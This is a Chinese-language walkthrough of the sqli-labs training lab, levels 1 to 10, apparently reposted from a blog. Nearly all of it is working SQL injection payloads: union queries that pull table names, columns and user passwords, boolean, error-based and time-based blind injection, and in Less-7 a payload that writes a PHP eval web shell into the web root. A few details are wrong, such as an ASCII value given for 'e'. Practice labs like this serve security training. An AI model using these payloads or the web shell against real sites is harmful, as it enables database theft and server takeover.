sqli-labs(1-10关)
测试字段
and 1=2--+
'and 1=2--+
"and 1=2--+
)and 1=2--+
')and 1=2--+
")and 1=2--+
"))and 1=2--+
Less-1
测试流程
1.测试注入点
?id=1 and 1=2--+ 测试注入点,发现页面正常,那么我们就需要猜测是否存在需要闭合。
?id=1' and 1=2--+ 添加‘(单引号)后发现能够正常闭合,闭合后页面返回不正常,那么测试成功。
测试发现第一关属于字符型注入。
2.猜解准备
?id=1' order by 1--+ 正常
?id=1' order by 2--+ 正常
?id=1' order by 3--+ 正常
?id=1' order by 4--+ 不正常 证明存在3个。
3.报错猜解准备
?id=-1' union select 1,2,3--+ 在1前面添加-是为了使前面不成立,执行后面语句。
从下图中可以看到显示位在2和3的位置。
4.信息收集
?id=-1' union select 1,version(),database()--+ 修改刚刚的2和3的显示位。
通过测试发现数据库版本为:5.5.53,数据库名为:security。
?id=-1' union select 1,user(),@@version_compile_os--+ 修改刚刚的2和3的显示位。
通过测试发现数据库用户为:root@localhost,系统为:Win32
5.注入
(1)获取数据库下的所有表名
知识点:
mysql 5.0以下为低版本,5.0以上为高版本(有information_schema数据库)这个数据库是存储所有数据库名,表名,列名,相当于可以通过查询这个数据库获取指定数据库下面的表名列名信息。
数据库中“.”代表下一级,如xiaodi.user表示xiaodi数据库下的user表名
information_schema.tables 记录所有表名信息的表
information_schema.columns 记录所有列名信息的表
information_schema.schemata 记录所有数据库信息的表
table_schema 数据库名
table_name 表名
column_name 列名
group_concat() 显示所有查询到的数据
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"--+
通过测试发现security下存在emails,referers,uagents,users表。
(2)获取users下的所有列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users"--+
通过测试发现users下存在id,username,password,level,id,username,password列。
(3)获取用户和密码下的值
?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
通过测试我们能够获取到用户名和密码。我这里的密码是被修改过的不用管。
Less-2
测试流程
1.测试注入点
?id=1 and 1=2--+
通过测试发现第二关并不需要添加什么符合进行闭合。
通过测试发现第二关属于数值型注入。
2.猜解准备
?id=1' order by 1--+ 正常
?id=1' order by 2--+ 正常
?id=1' order by 3--+ 正常
?id=1' order by 4--+ 不正常 证明存在3个。
注意:后续的流程和第一关一样,可以直接复制第一关命令进行测试。
Less-3
测试流程
1.测试注入点
?id=1') and 1=2--+ 通过文章开头的多种字段类型进行测试发现')能够闭合。
通过测试发现第三关属于字符型型注入。
注意:后续的流程和第一关一样,可以直接复制第一关命令进行测试。
Less-4
测试流程
1.测试注入点
?id=1") and 1=2--+ 通过文章开头的多种字段类型进行测试发现")能够闭合。
通过测试发现第四关属于字符型型注入。
注意:后续的流程和第一关一样,可以直接复制第一关命令进行测试。
Less-5
测试流程
1.测试注入点
?id=1' and 1=2--+ 通过文章开头的多种字段类型进行测试发现' 能够闭合。
通过测试发现第五关属于字符型型注入。
2.猜解准备
?id=1' order by 1--+ 正常
?id=1' order by 2--+ 正常
?id=1' order by 3--+ 正常
?id=1' order by 4--+ 不正常 证明存在3个。
3.报错猜解准备
(1)注入失败
?id=-1' union select 1,2,3--+
这里我们经过测试发现并无法通过我们常规的测试方式获取显示位。
这里就是无回显情况,那么这种情况就需要使用布尔盲注,报错型注入,时间延迟盲注。这个案例我们使用布尔盲注。
4.布尔盲注
(1)获取数据库版本
注:这里若是不了解什么是布尔盲注可以CSDN上搜索。
?id=1' and left (version(),1)=5--+
这里的语句的意思是看版本号的第一位是不是5,明显的返回的结果是正确的。
注:若不是5则页面不正常,若是5则页面正常。
?id=1' and left (version(),2)=5.--+
这里的语句的意思是看版本号的第二位是不是.,明显的返回的结果是正确的。
后续可以依次修改进行测试,数据库版本为:5.5.53
(2)猜测数据库名长度
?id=1' and length(database())=8--+
利用length(database())进行尝试,数据库名一共是8位。
(3)猜测数据库名字母
1)猜测数据库名第一位字母
?id=1' and left(database(),1)>'a'--+
数据库名为security,所以我们看它的第一位是否 > a,很明显的是 s > a,因此返回正确。当我们不知情的情况下,可以用二分法来提高注入的效率。
2)猜测数据库名第二位字母
?id=1' and left(database(),2)>'sa'--+
或者使用ascii函数
3)猜测数据库名第一位字母
?id=1' and ascii(substr(database(),1,1))=115--+
在ASCII中s等于115,所以这里页面返回是正确的。
4)猜测数据库名第二位字母
?id=1' and ascii(substr(database(),2,1))=101--+
在ASCII中e等于115,所以这里页面返回是正确的。
(4)猜测数据库中表的长度
1)猜测数据库中第一张表的长度
?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>5--+
通过控制limit的参数实现查询第几个表。
2)猜测数据库中第二张表的长度
?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 1,1))=8--+
(5)猜测数据库中表的名称
1)猜测数据库中第一个表的开头首字母
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+
第一个表是emails,ascii码中e是101,那么上面的等于101页面回显正常。
2)猜测数据库中第二个表的第二个字母
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101--+
第二个表是referers,ascii码中e是101,那么上面的等于101页面回显正常。
(6)猜测表中列的数量
?id=1' and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2--+
在users中存在id、username、password字段,0,1是第一个所以是等于2。
(7)猜测列的名称
1)猜测数据库名第二位字母
?id=1' and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117--+
最后面的1,1),1,1 第一个1控制第几列,从0开始,第三个1控制字段第几个字母。
2)猜测数据库名第二位字母
?id=1' and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),2,1))=115--+
(8)判断username中值长度
1)判断username中第一行值长度
?id=1' and length((select username from security.users limit 0,1))=4--+
2)判断username中第二行值长度
?id=1' and length((select username from security.users limit 1,1))=8--+
(9)判断username中的字母
1)判断username中第一行第一个字母
?id=1' and ord(substr((select username from security.users limit 0,1),1,1))=68--+
2)判断username中第二行第二个字母
?id=1' and ord(substr((select username from security.users limit 1,1),2,1))=110--+
5.总结
以上的所有测试都是把数据用对的进行测试,实际环境中的测试均是猜想,可以慢慢尝试,当然遇到这类情况,手工测试还是比较繁琐的,多数还是采用工具进行测试。
如果遇到的函数看不懂,最好能够去百度搜索一下专门写这方面函数的文章进行学习,这里也就相当于是个案例。
Less-6
测试流程
1.测试注入点
?id=1" and 1=2--+
这里我们使用"(双引号进行闭合)。更多的闭合方式看文章开头。
2.报错注入
这里我就不进行测试准备了,第六关和第五关除了闭合方式不同,其他的都是一样的,没有显示位。
第五关使用了布尔盲注,第六关使用报错盲注,时间盲注在第九关会说到。
(1)测试是否存在报错盲注
?id=1" and updatexml(1,0x7e,3)--+
这里0x7e就是~。
(2)获取数据库名
?id=1" and updatexml(1,concat(0x7e,database()),3)--+
下图中~security中的~不是数据库名中的一部分,这个~是为了让语句报错,后面的security才是数据库名。
(3)获取数据库下的表
?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' )),3)--+
(4)获取表下的列
1)未分页
?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' )),3)--+
其实在下图就可以看到,好像未显示完整,这是由于updatexml报错只能显示32位,所以在报错多的情况下需要进行分页。
使用limit参数进行控制,同时上面的group_concat(column_name)也需要改为column_name,因为group_concat()是获取全部。
2)分页
?id=1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),3)--+
获取第一个列
?id=1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 1,1)),3)--+
获取第二个列
(5)获取user列下的username值
?id=1" and updatexml(1,concat(0x7e,(select username from users limit 0,1 )),3)--+
?id=1" and updatexml(1,concat(0x7e,(select username from users limit 1,1 )),3)--+
(6)获取user列下的password值
?id=1" and updatexml(1,concat(0x7e,(select password from users limit 0,1 )),3)--+
3.总结
遇到不懂的函数或参数的用法,请百度搜索专业文章进行学习。
Less-7
测试流程
1.测试注入点
?id=1')) and 1=2--+
通过测试发现使用’))能够使语句进行闭合
2.猜解准备
?id=1')) order by 4--+
使用4测试的时候语法报错,所以只存在3位
3.报错猜解准备
这里通过测试得到的结果是并没有回显,并且提示我们使用outfile,所以我们使用文件导出进行注入。
4.文件导出准备
搭建的靶场会出现导入不进去的情况,这里需要找到mysql数据库下的my.ini,在里面添加secure_file_priv=””并重启服务。
5.文件导出
(1)获取数据库名和用户
?id=1')) union select database(),user(),@@datadir into outfile 'C:/tool/PHPTutorial/WWW/sqlilabs/Less-7/1.txt' --+
(2)获取表名
?id=1')) union select 1,2,group_concat(table_name )from information_schema.tables where table_schema=database() into outfile 'C:/tool/PHPTutorial/WWW/sqlilabs/Less-7/2.txt' --+
6.一句话木马
(1)写入木马
?id=-1')) union select 1,2,'<?php @eval($_POST[a]);?>' into outfile%20 'C:/tool/PHPTutorial/WWW/sqlilabs/Less-7/4.php' --+
(2)连接木马
7.总结
还是和之前一样不懂的百度搜索,这些只是案例。
Less-8
测试流程
1.测试注入点
?id=1' and 1=2--+
使用’单引号进行闭合
注:后续的操作和第五关是一样的,这关是基于单引号的布尔盲注。
Less-9
测试流程
1.测试注入点
?id=1' and 1=2--+
这里发现添加单引号,双引号,括号都不显示正常还是不正常。
这里就需要使用一下盲注进行测试,发现布尔盲注没反应,报错盲注没反应,但是使用延迟注入给出了响应。
当然这里我是经过测试所以得知是单引号进行闭合,可以尝试延迟注入把前面的单引号改成其他符合进行测试。
2.延迟注入
(1)猜测数据库名的长度
?id=1' and if(length(database())=8,sleep(5),1)--+
(2)猜测数据库名
1)猜测数据库名第一位字母
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
2)猜测数据库名第二位字母
?id=1' and if(ascii(substr(database(),2,1))=101,sleep(5),1)--+
(3)猜测表的数量
?id=1' and if((select count(table_name) from information_schema.tables where table_schema = database())=4,sleep(5),1)--+
(4)猜测第二个表的长度
?id=1' and if(length((select table_name from information_schema.tables where table_schema='security' limit 1,1))=8,sleep(5),1)--+
limit1,1,第一个1控制第几个表
(5)猜测第第一个表中第一个字
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1)--+
当然database()也可以替换为security
limit0,1),1,1 第一个0控制第几个表,第三个1控制第几个字,如果是第二张表第二个字就是:
limit1,1),2,1
(6)猜测users表中存有几列
?id=1' and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2,sleep(5),1)--+
(7)猜测users表中第二列第一个字母
?id=1' and if(ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1))=117,sleep(5),1)--+
这里需要注意的是上面获取到的是从0开始等于2,本质上是3个表,但是ID列是默认的所有,从第二个开始。
(8)猜测users表中存在多少个账户
?id=1' and if((select count(username) from users)=13,sleep(5),1)--+
(9)猜测users表中的username第一行长度
?id=1' and if(length((select username from security.users limit 0,1))=4,sleep(5),1)--+
(10)猜测users表中的username第一行第一个字母
?id=1' and if(ord(substr((select username from security.users limit 0,1),1,1))=68,sleep(5),1)--+
(10)猜测users表中的password第二行第二个字母
and if(ord(substr((select password from security.users limit 1,1),2,1))=68,sleep(5),1)--+
注意我这里被改过,所以有些参数是不对的,比如68.
3.总结
sleep(5),1,是错误的时候立即返回,若正确的时候延迟5秒返回。
1,sleep(5),是正确的时候立即返回,若错误的时候延迟5秒返回。
Less-10
测试流程
1.测试注入点
?id=1" and sleep(5)--+
注:后续的流程和第九关一样的,只是第九关是单引号,第十关是双引号。
所有步骤都经过测试,但是由于后续的一些更新注入操作等,导致前10关用户名或者密码有些不同,其他的基本上是一样的,比如你ASCII值选择的时候可以按照自己的来。
如果命令直接复制上去无法执行,可以自己排查一下,多数都是值不对,尤其是ASCII中的值。
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/133440.html